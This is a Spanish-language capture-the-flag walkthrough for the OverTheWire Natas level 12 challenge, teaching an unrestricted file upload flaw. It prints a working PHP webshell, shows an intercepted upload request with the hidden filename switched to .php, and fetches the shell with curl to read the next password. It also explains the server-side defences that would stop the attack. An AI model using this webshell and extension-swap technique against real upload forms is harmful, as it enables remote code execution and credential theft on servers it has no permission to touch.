Natas Nivel 12 a 13

Nivel oficial: http://natas12.natas.labs.overthewire.org

Este nivel introduce una de las vulnerabilidades mas criticas en aplicaciones web: la subida de archivos sin validacion correcta en el servidor. El error clasico es confiar en el cliente para determinar el tipo de archivo, permitiendo ejecutar codigo arbitrario en el servidor (RCE).

Este laboratorio es legal y autorizado. Solo practica estas tecnicas en entornos de wargame como OverTheWire o sistemas sobre los que tengas permiso explicito.

Objetivo

Subir un archivo PHP que lea la contrasena de /etc/natas_webpass/natas13 y obtener su contenido visitando la URL del archivo subido.

Que aprendes

Concepto / ComandoPara que sirve
Burp Suite > InterceptCapturar y modificar peticiones HTTP antes de enviarlas
Campo <input type="hidden" name="filename">El servidor usa este valor para nombrar el archivo subido
passthru() en PHPEjecuta un comando de sistema y vuelca la salida directamente
Cambiar extension en transitoRenombrar .jpg a .php en la peticion interceptada
Content-Type vs extension realEl servidor ejecuta por extension, no por MIME type del form

Concepto clave: validacion de subida en el cliente vs en el servidor

La categoria de vulnerabilidad es Unrestricted File Upload (OWASP A04 - Insecure Design / A05 - Security Misconfiguration).

El patron es el siguiente: el formulario genera un nombre de archivo aleatorio con extension .jpg y lo mete en un campo oculto (<input type="hidden" name="filename" value="abc123.jpg">). La validacion solo ocurre en el navegador (JavaScript o convencion de formulario). El servidor acepta el nombre que le llega en el POST sin verificar que la extension coincida con el contenido real ni que sea segura.

Consecuencia: si cambias el valor del campo filename de abc123.jpg a abc123.php antes de que la peticion llegue al servidor, el archivo se guarda con extension .php. Si el servidor web tiene PHP habilitado en el directorio de subidas, cualquier visita a esa URL ejecuta el codigo subido.

Paso a paso

1. Acceder al nivel con las credenciales de natas12

# Usuario: natas12
# Contrasena: <pass_natas12>
# URL: http://natas12.natas.labs.overthewire.org

2. Crear el payload PHP localmente

echo '<?php passthru("cat /etc/natas_webpass/natas13"); ?>' > shell.php

Este es el webshell minimo. passthru() ejecuta el comando y escribe la salida al buffer de respuesta HTTP sin procesarla.

3. Configurar Burp Suite como proxy

Ajusta tu navegador para usar 127.0.0.1:8080 como proxy HTTP. En Burp, activa Proxy > Intercept > Intercept is on.

4. Subir el archivo y capturar la peticion

En el formulario de natas12, selecciona tu archivo shell.php y pulsa “Upload”. Burp interceptara la peticion POST antes de enviarla. Veras algo similar a:

POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
 
------WebKitFormBoundary...
Content-Disposition: form-data; name="filename"
 
abc123ef.jpg
------WebKitFormBoundary...
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: application/octet-stream
 
<?php passthru("cat /etc/natas_webpass/natas13"); ?>

5. Modificar la extension en el campo oculto

Cambia el valor del campo filename de abc123ef.jpg a abc123ef.php. Ese es el nombre con el que el servidor guardara el archivo.

------WebKitFormBoundary...
Content-Disposition: form-data; name="filename"
 
abc123ef.php

Pulsa “Forward” en Burp para enviar la peticion modificada.

6. Visitar la URL del archivo subido

El servidor responde con la ruta donde guardo el archivo, por ejemplo:

The file upload/abc123ef.php has been uploaded

Navega a esa URL (con tus credenciales HTTP Basic en la cabecera o en la URL):

curl -u natas12:<pass_natas12> http://natas12.natas.labs.overthewire.org/upload/abc123ef.php

La respuesta contendra la contrasena de natas13.

Por que funciona

El servidor asigna el nombre de archivo basandose en el campo filename del formulario multipart, que es un campo HTML corriente que el cliente puede modificar libremente. No existe ninguna validacion server-side que:

  • Compruebe que la extension sea segura (whitelist de .jpg, .png, etc.)
  • Verifique el MIME type real del contenido (magic bytes)
  • Mueva el directorio de subidas fuera del document root o le desactive la ejecucion de PHP

El servidor web (Apache/Nginx con PHP) interpreta cualquier archivo .php en el document root como codigo ejecutable, no como descarga estatica. El atacante sube codigo, el servidor lo ejecuta, y la respuesta HTTP contiene el output del comando.

Errores comunes

  1. No cambiar el campo filename oculto, solo el nombre del archivo en Content-Disposition: el servidor usa el campo filename del formulario para nombrar el archivo destino. Si solo cambias el nombre en la parte uploadedfile, el archivo se guardara con la extension .jpg y no se ejecutara como PHP.

  2. Olvidar las credenciales Basic Auth al visitar la URL: todo el dominio natas12.natas.labs.overthewire.org requiere autenticacion HTTP. Sin ella obtendras un 401.

  3. Payload PHP con comillas que el shell escapa mal: si creas el archivo desde la terminal, usa comillas simples externas y dobles internas, o escribe el archivo directamente con un editor para evitar problemas de escape.

  4. El nombre generado cambia en cada recarga: el formulario genera un hash aleatorio nuevo cada vez que recargas la pagina. Si interceptas una peticion con un nombre y luego visitas otra URL, no encontraras el archivo. Usa el nombre exacto que el servidor confirmo en la respuesta.

Pasar al siguiente nivel

La contrasena obtenida al ejecutar el webshell es la credencial para:

  • URL: http://natas13.natas.labs.overthewire.org
  • Usuario: natas13
  • Contrasena: <pass_natas13>

El nivel 13 es una variante de este mismo reto pero con una comprobacion adicional: el servidor verifica los magic bytes del archivo con exif_imagetype(). La tecnica cambia: hay que anteponer la firma de imagen valida al payload PHP.

Conexiones